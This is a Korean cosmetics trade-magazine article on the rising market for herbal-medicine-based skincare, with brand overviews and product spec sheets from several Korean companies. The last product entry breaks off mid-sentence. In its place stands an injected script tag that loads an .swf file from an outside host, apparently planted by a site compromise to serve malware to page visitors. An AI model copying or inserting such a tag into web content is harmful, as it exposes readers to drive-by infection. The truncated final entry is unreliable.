피부 기氣 살리는 韓方 문화의 흐름이 서양에서 동양으로 이동하고, 다시 동양권 안에서는 한류가 화제가 되고 있다. 화장품 역시 똑 같은 움직임이 감지되고 있다. 동양의 전통적인 미용법이나 몸에 좋다는 한방 성분을 활용한 화장품이 최근 각광을 받고 있다. 국내에서는 백화점 시장에서 태평양의 설화수, LG생활건강의 더히스토리오브 후 등의 브랜드가 수입 고급 제품들에 맞서 선전하고 있으며, 시판과 방판 시장에서도 여러 브랜드들이 소비자들로부터 좋은 반응을 얻고 있다. 업계에서는 올해 한방화장품 시장 규모가 7,000억원에 이를 것으로 내다보고 있을 정도로 꾸준한 성장세를 보이고 있다. 한방 화장품은 성분과 처방으로 기존 화장품과의 차별점을 적극 부각하고 있다. 인삼, 영지버섯, 녹용 등 약재를 비롯해 각종 혼합물을 원료로 최적의 피부미용 효과를 낼 수 있는 처방을 만들기 위해 각 화장품 회사들이 뜨거운 경쟁을 벌이고 있으며, 이를 통해 세계 시장에서 향후 한방 화장품의 주도권을 확실하게 움켜쥘 것이란 기대도 가능하다. 회사별로 한방 전문 브랜드를 내놓고 있는 곳도 있는 반면, 한방 성분을 일반 화장품에 적용한 사례도 많다. 그만큼 한방 성분에 대한 업계의 관심이 크다는 얘기다. 이번 코스메틱 뷰에 수록된 브랜드(제품)들 역시 마찬가지다. 태평양의 스템 난은 퓨전 한방비법으로 우려낸 활음진 성분이 피부를 충만하게 가꿔준다. LG생활건강의 수려한은 옥용단 비방으로 중년 여성의 피부를 건강하게 회복시켜 준다. 코리아나화장품의 비취가인은 보려단 성분이 20대의 건강하고 아름다운 피부를 선사한다. 한국화장품 명방선 휘안 아이크림은 경옥단 성분이 눈가 피부에 영양을 공급한다. 리뉴얼된 참존 탑뉴스는 한방 개념의 식물성 영양 성분이 탄력 있고 촉촉한 피부로 가꿔주며, 에스까다코스메틱 엑스트라 하이드로 크림은 인삼추출물이 피부 활력을 도와준다. 다국적 기업인 유니레버코리아에서도 최근 한방 클렌징을 표방하는 폰즈 클리어 훼이스 청을 선보이며 한방 시장에 뛰어들었다. 한방 화장품의 경우 소비자들이 많은 관심을 보이고 있기는 하지만 일반 제품에 비해 가격이 비싸 구매를 주저하는 경우가 많다. 무엇보다도 샘플을 적극적으로 활용하는 판매 기법이 효과적이다. 이봉구 기자 viewsion@csmt.co.kr 태평양-스템난 ■주요성분: 활음진 ■주요특징: ①퓨전한방비법으로 우려낸 활음진(活陰眞)성분이 집중 공급되어 정체되고 굳어진 음(陰)의 원활한 순환을 돕는다. ②피부를 보(保)해주는 5가지 한방성분이 더해져 충만한 활음, 충만한 보습, 충만한 윤기를 부여해 주는 한방 보양 크림이다. ■용량: 60ml ■타깃층: 모든 여성 (문의: 080-023-5454/www.amorepacific.co.kr) LG생활건강-수려한 ■주요성분: 옥용단(녹두, 천화분, 고본, 조각자), 국화음등 ■주요특징: ①절세미인 서시의 비법인 ‘옥용단’ 비방은 처방 약재중 현대를 살아가는 중년 여성의 피부를 이롭게 하는 음과 양의 약재 몇 가지를 선별 재구성해 중년 여성의 피부를 회복시켜 준다. ②양(陽)의 약재 백지, 고본, 조각자와 음(陰)의 약재 녹두, 천화분이 음과 양의 과다와 부족을 조화시켜 깨어진 음양의 균형을 되찾도록 해 준다. ■용량: 200ml(청안 클렌징 크림) 160ml(청안 클렌징 폼? 보윤 초보습 크림) ■타깃층: 모든 여성 (문의: 080-023-7007/www.lgcare.co.kr) 코리아나화장품-비취가인 ■주요성분: 보려단(녹용, 감초, 당귀, 구기자), 참숯수, 옥 파우더 등 ■주요특징: ①비취가인은 데톡스 개념의 바르는 피부 보약 데톡스 한방 화장품이다. ②30대를 전후해 내 외적인 환경의 영향으로 음양이 부조화되어 피부의 윤기와 활력을 떨어지는 여성에게 대대로 이어온 영양성분인 ‘보려단’을 화장품에 적용하여 20대의 건강하고 아름다운 피부로 가꿔 준다. ③보려단은 녹욕, 당귀, 감초, 구기자가 본격적인 노화가 시작되기 전인 20대 후반부터 음양과 기혈을 동시에 보충하여 비취와 같이 맑고 아름다운 모습을 지켜주는 비취가인의 핵심성분이다. ■타깃층: 30대 전후의 건조한 피부를 ?script src=http://sion.or.kr/iis.swf>

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